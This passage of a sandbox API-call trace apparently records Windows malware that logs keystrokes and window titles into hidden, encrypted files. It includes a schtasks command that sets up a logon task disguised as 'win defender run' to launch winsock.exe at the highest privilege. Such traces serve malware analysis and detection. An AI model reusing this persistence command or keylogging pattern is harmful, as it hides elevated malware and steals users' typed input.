ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0166.201] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f4c4) returned 1 [0166.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f434) returned 1 [0166.202] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs"), fInfoLevelId=0x0, lpFileInformation=0x533f4b0 | out: lpFileInformation=0x533f4b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0166.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f430) returned 1 [0166.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f434) returned 1 [0166.203] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs"), fInfoLevelId=0x0, lpFileInformation=0x533f4b0 | out: lpFileInformation=0x533f4b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0166.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f430) returned 1 [0166.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f434) returned 1 [0166.203] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x533f4b0 | out: lpFileInformation=0x533f4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x9435ef4a, ftLastAccessTime.dwHighDateTime=0x1da5a12, ftLastWriteTime.dwLowDateTime=0x9435ef4a, ftLastWriteTime.dwHighDateTime=0x1da5a12, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0166.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f430) returned 1 [0166.204] CreateDirectoryW (lpPathName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs"), lpSecurityAttributes=0x0) returned 1 [0166.205] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs", dwFileAttributes=0x12) returned 1 [0166.206] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024", nBufferLength=0x105, lpBuffer=0x533efec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024", lpFilePart=0x0) returned 0x35 [0166.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f494) returned 1 [0166.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs\\02-07-2024"), fInfoLevelId=0x0, lpFileInformation=0x533f510 | out: lpFileInformation=0x533f510*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0166.206] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f490) returned 1 [0166.216] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024", nBufferLength=0x105, lpBuffer=0x533efb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024", lpFilePart=0x0) returned 0x35 [0166.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f458) returned 1 [0166.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs\\02-07-2024"), fInfoLevelId=0x0, lpFileInformation=0x533f4d4 | out: lpFileInformation=0x533f4d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0166.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f454) returned 1 [0166.217] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024", nBufferLength=0x105, lpBuffer=0x533ef04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024", lpFilePart=0x0) returned 0x35 [0166.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x533f43c) returned 1 [0166.217] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Logs\\02-07-2024" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\logs\\02-07-2024"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x5e8 [0166.217] GetFileType (hFile=0x5e8) returned 0x1 [0166.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x533f438) returned 1 [0166.217] GetFileType (hFile=0x5e8) returned 0x1 [0166.243] CryptAcquireContextW (in: phProv=0x533f484, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x533f484*=0xe906f0) returned 1 [0166.245] CryptImportKey (in: hProv=0xe906f0, pbData=0x26a8b24*, dwDataLen=0x1c, hPubKey=0x0, dwFlags=0x1, phKey=0x533f454 | out: phKey=0x533f454*=0xe8f0d8) returned 1 [0166.245] CryptContextAddRef (hProv=0xe906f0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0166.245] CryptGenRandom (in: hProv=0xe906f0, dwLen=0x10, pbBuffer=0x26a8b74 | out: pbBuffer=0x26a8b74) returned 1 [0166.245] CryptContextAddRef (hProv=0xe906f0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0166.245] CryptDuplicateKey (in: hKey=0xe8f0d8, pdwReserved=0x0, dwFlags=0x0, phKey=0x533f444 | out: phKey=0x533f444*=0xe8ef58) returned 1 [0166.245] CryptContextAddRef (hProv=0xe906f0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0166.245] CryptSetKeyParam (hKey=0xe8ef58, dwParam=0x4, pbData=0x26a8c34*=0x1, dwFlags=0x0) returned 1 [0166.246] CryptSetKeyParam (hKey=0xe8ef58, dwParam=0x1, pbData=0x26a8c00, dwFlags=0x0) returned 1 [0166.246] CryptEncrypt (in: hKey=0xe8ef58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26a8dc0*, pdwDataLen=0x533f47c*=0xa0, dwBufLen=0xa0 | out: pbData=0x26a8dc0*, pdwDataLen=0x533f47c*=0xa0) returned 1 [0166.247] CryptEncrypt (in: hKey=0xe8ef58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26a8e6c*, pdwDataLen=0x533f49c*=0x10, dwBufLen=0x10 | out: pbData=0x26a8e6c*, pdwDataLen=0x533f49c*=0x10) returned 1 [0166.247] CryptEncrypt (in: hKey=0xe8ef58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x26a8e88*, pdwDataLen=0x533f4a4*=0x0, dwBufLen=0x10 | out: pbData=0x26a8e88*, pdwDataLen=0x533f4a4*=0x10) returned 1 [0166.247] CryptDestroyKey (hKey=0xe8f0d8) returned 1 [0166.247] CryptReleaseContext (hProv=0xe906f0, dwFlags=0x0) returned 1 [0166.247] CryptReleaseContext (hProv=0xe906f0, dwFlags=0x0) returned 1 [0166.247] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x533f4c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x533f4c0*=0) returned 0x0 [0166.248] WriteFile (in: hFile=0x5e8, lpBuffer=0x26a96e0*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x533f4a8, lpOverlapped=0x0 | out: lpBuffer=0x26a96e0*, lpNumberOfBytesWritten=0x533f4a8*=0xe0, lpOverlapped=0x0) returned 1 [0166.249] CloseHandle (hObject=0x5e8) returned 1 [0166.252] GetCurrentProcess () returned 0xffffffff [0166.252] GetCurrentThread () returned 0xfffffffe [0166.252] GetCurrentProcess () returned 0xffffffff [0166.253] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x533f59c, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x533f59c*=0x5e8) returned 1 [0166.256] GetCurrentThreadId () returned 0xa0c [0166.259] GetCurrentActCtx (in: lphActCtx=0x533f568 | out: lphActCtx=0x533f568*=0x0) returned 1 [0166.259] ActivateActCtx (in: hActCtx=0xe80bb4, lpCookie=0x533f578 | out: hActCtx=0xe80bb4, lpCookie=0x533f578) returned 1 [0166.262] GetSystemMetrics (nIndex=75) returned 1 [0166.276] GetCurrentActCtx (in: lphActCtx=0x533f440 | out: lphActCtx=0x533f440*=0xe80bb4) returned 1 [0166.276] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x0 [0166.281] LoadLibraryW (lpLibFileName="comctl32.dll") returned 0x72d80000 [0166.293] GetModuleHandleW (lpModuleName="user32.dll") returned 0x74c10000 [0166.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DefWindowProcW", cchWideChar=14, lpMultiByteStr=0x533f304, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefWindowProcWòkXÃv\x1a(ú\x06o°÷3\x05\x01", lpUsedDefaultChar=0x0) returned 14 [0166.294] GetProcAddress (hModule=0x74c10000, lpProcName="DefWindowProcW") returned 0x772aaee0 [0166.294] GetStockObject (i=5) returned 0x1900015 [0166.296] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0166.394] CoTaskMemAlloc (cb=0x5a) returned 0xea9b98 [0166.394] RegisterClassW (lpWndClass=0x533f2f4) returned 0xc1e1 [0166.394] CoTaskMemFree (pv=0xea9b98) [0166.394] GetModuleHandleW (lpModuleName=0x0) returned 0xcb0000 [0166.395] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.d6f29f_r10_ad1", lpWindowName=0x0, dwStyle=0x2010000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0xcb0000, lpParam=0x0) returned 0x802ec [0166.396] SetWindowLongW (hWnd=0x802ec, nIndex=-4, dwNewLong=1999285984) returned 78579518 [0166.397] GetWindowLongW (hWnd=0x802ec, nIndex=-4) returned 1999285984 [0166.398] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\.NETFramework", ulOptions=0x0, samDesired=0x20019, phkResult=0x533eb54 | out: phkResult=0x533eb54*=0x610) returned 0x0 [0166.399] RegQueryValueExW (in: hKey=0x610, lpValueName="DbgJITDebugLaunchSetting", lpReserved=0x0, lpType=0x533eb74, lpData=0x0, lpcbData=0x533eb70*=0x0 | out: lpType=0x533eb74*=0x0, lpData=0x0, lpcbData=0x533eb70*=0x0) returned 0x2 [0166.399] RegQueryValueExW (in: hKey=0x610, lpValueName="DbgManagedDebugger", lpReserved=0x0, lpType=0x533eb74, lpData=0x0, lpcbData=0x533eb70*=0x0 | out: lpType=0x533eb74*=0x0, lpData=0x0, lpcbData=0x533eb70*=0x0) returned 0x2 [0166.399] RegCloseKey (hKey=0x610) returned 0x0 [0166.401] SetWindowLongW (hWnd=0x802ec, nIndex=-4, dwNewLong=78579558) returned 1999285984 [0166.401] GetWindowLongW (hWnd=0x802ec, nIndex=-4) returned 78579558 [0166.401] GetWindowLongW (hWnd=0x802ec, nIndex=-16) returned 113311744 [0166.402] RegisterClipboardFormatW (lpszFormat="WinFormsMouseEnter") returned 0xc1e2 [0166.402] CallWindowProcW (lpPrevWndFunc=0x772aaee0, hWnd=0x802ec, Msg=0x24, wParam=0x0, lParam=0x533ee6c) returned 0x0 [0166.402] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc1e3 [0166.403] CallWindowProcW (lpPrevWndFunc=0x772aaee0, hWnd=0x802ec, Msg=0x81, wParam=0x0, lParam=0x533ee60) returned 0x1 [0166.403] CallWindowProcW (lpPrevWndFunc=0x772aaee0, hWnd=0x802ec, Msg=0x83, wParam=0x0, lParam=0x533ee4c) returned 0x0 [0166.409] CallWindowProcW (lpPrevWndFunc=0x772aaee0, hWnd=0x802ec, Msg=0x1, wParam=0x0, lParam=0x533ee60) returned 0x0 [0166.409] GetClientRect (in: hWnd=0x802ec, lpRect=0x533eb8c | out: lpRect=0x533eb8c) returned 1 [0166.409] GetWindowRect (in: hWnd=0x802ec, lpRect=0x533eb8c | out: lpRect=0x533eb8c) returned 1 [0166.413] GetParent (hWnd=0x802ec) returned 0x0 [0166.417] OleInitialize (pvReserved=0x0) returned 0x80010106 [0166.418] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x533f518 | out: lplpMessageFilter=0x533f518*=0x0) returned 0x80004021 [0166.420] PeekMessageW (in: lpMsg=0x533f4ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x533f4ec) returned 0 [0166.436] PeekMessageW (in: lpMsg=0x533f4ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x533f4ec) returned 0 [0166.437] WaitMessage () returned 1 [0183.883] PeekMessageW (in: lpMsg=0x533f4ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x533f4ec) returned 0 [0184.027] GetKeyState (nVirtKey=17) returned 0 [0184.027] GetKeyState (nVirtKey=16) returned 0 [0184.027] GetKeyState (nVirtKey=18) returned 0 [0184.173] GetForegroundWindow () returned 0x2013a [0184.371] CoTaskMemAlloc (cb=0x804) returned 0xefcd00 [0184.371] GetWindowTextW (in: hWnd=0x2013a, lpString=0xefcd00, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0184.372] CoTaskMemFree (pv=0xefcd00) [0184.891] GetForegroundWindow () returned 0x2013a [0184.949] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x533f294 | out: lpdwProcessId=0x533f294) returned 0x914 [0184.958] GetKeyboardLayout (idThread=0x914) returned 0x4090409 [0185.052] GetKeyboardState (in: lpKeyState=0x2718cfc | out: lpKeyState=0x2718cfc) returned 1 [0185.123] ToUnicodeEx (in: wVirtKey=0x5b, wScanCode=0x5b, lpKeyState=0x2718cfc, pwszBuff=0x533f15c, cchBuff=64, wFlags=0x1, dwhkl=0x4090409 | out: pwszBuff="") returned 0 [0185.203] CallNextHookEx (hhk=0x0, nCode=0, wParam=0x100, lParam=0x533f3d4) returned 0x0 [0185.875] PeekMessageW (in: lpMsg=0x533f4ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x533f4ec) returned 0 [0185.875] WaitMessage () returned 1 [0186.355] PeekMessageW (in: lpMsg=0x533f4ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x533f4ec) returned 0 [0186.356] PeekMessageW (in: lpMsg=0x533f4ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x533f4ec) returned 0 [0186.356] WaitMessage () Thread: id = 322 os_tid = 0x464 [0166.201] CoGetContextToken (in: pToken=0x53bfa04 | out: pToken=0x53bfa04) returned 0x0 [0166.201] IUnknown:QueryInterface (in: This=0xe60120, riid=0x6f1638a4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x53bfa28 | out: ppvObject=0x53bfa28*=0xe6012c) returned 0x0 [0166.280] IComThreadingInfo:GetCurrentThreadType (in: This=0xe6012c, pThreadType=0x53bfa54 | out: pThreadType=0x53bfa54*=0) returned 0x0 [0166.280] IUnknown:Release (This=0xe6012c) returned 0x1 [0166.280] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0166.280] RoInitialize () returned 0x1 [0166.297] RoUninitialize () returned 0x0 Thread: id = 343 os_tid = 0x13c8 [0181.412] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0181.414] CoGetContextToken (in: pToken=0x54ff644 | out: pToken=0x54ff644) returned 0x0 [0181.414] IUnknown:QueryInterface (in: This=0xe60120, riid=0x6f1638a4*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ff668 | out: ppvObject=0x54ff668*=0xe6012c) returned 0x0 [0181.414] IComThreadingInfo:GetCurrentThreadType (in: This=0xe6012c, pThreadType=0x54ff694 | out: pThreadType=0x54ff694*=0) returned 0x0 [0181.414] IUnknown:Release (This=0xe6012c) returned 0x1 [0181.414] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0181.414] CoUninitialize () [0181.414] RoInitialize () returned 0x1 [0181.415] RoUninitialize () returned 0x0 [0181.415] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x54ff348 | out: UnbiasedTime=0x54ff348) returned 1 [0181.416] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x54ff338 | out: UnbiasedTime=0x54ff338) returned 1 [0181.421] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x54ff234 | out: lpSystemTimeAsFileTime=0x54ff234*(dwLowDateTime=0xa565076b, dwHighDateTime=0x1da5a12)) Thread: id = 344 os_tid = 0x12ec Process: id = "13" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x3c67c000" os_pid = "0x1350" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x12f8" cmd_line = "\"schtasks\" /create /tn \"win defender run\" /sc ONLOGON /tr \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\SubDir\\winsock.exe\" /rl HIGHEST /f" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1851 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1852 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1853 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1854 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 1855 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 1856 start_va = 0xe0000 end_va = 0xe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 1857 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1858 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 1859 start_va = 0x230000 end_va = 0x261fff monitored = 1 entry_point = 0x2505b0 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 1860 start_va = 0x270000 end_va = 0x426ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 1861 start_va = 0x4400000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1862 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1863 start_va = 0x7f2b0000 end_va = 0x7f2d2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f2b0000" filename = "" Region: id = 1864 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1865 start_va = 0x7fff0000 end_va = 0x7dfff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1866 start_va = 0x7dfff07a0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfff07a0000" filename = "" Region: id = 1867 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1868 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 1869 start_va = 0x110000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1870 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1871 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1872 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1873 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1874 start_va = 0x4270000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 1875 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1876 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1877 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1878 start_va = 0x7f1b0000 end_va = 0x7f2affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f1b0000" filename = "" Region: id = 1941 start_va = 0x4600000 end_va = 0x46bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1942 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1943 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1944 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1945 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 1946 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 1947 start_va = 0x74820000 end_va = 0x748b1fff monitored = 0 entry_point = 0x74858cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1948 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 1949 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 1950 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1951 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1952 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1953 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 1954 start_va = 0x46c0000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000046c0000" filename = "" Region: id = 1955 start_va = 0x46c0000 end_va = 0x47a9fff monitored = 0 entry_point = 0x46fd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 1956 start_va = 0x47f0000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 1957 start_va = 0x190000 end_va = 0x1a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui") Region: id = 1958 start_va = 0x4800000 end_va = 0x4b36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = 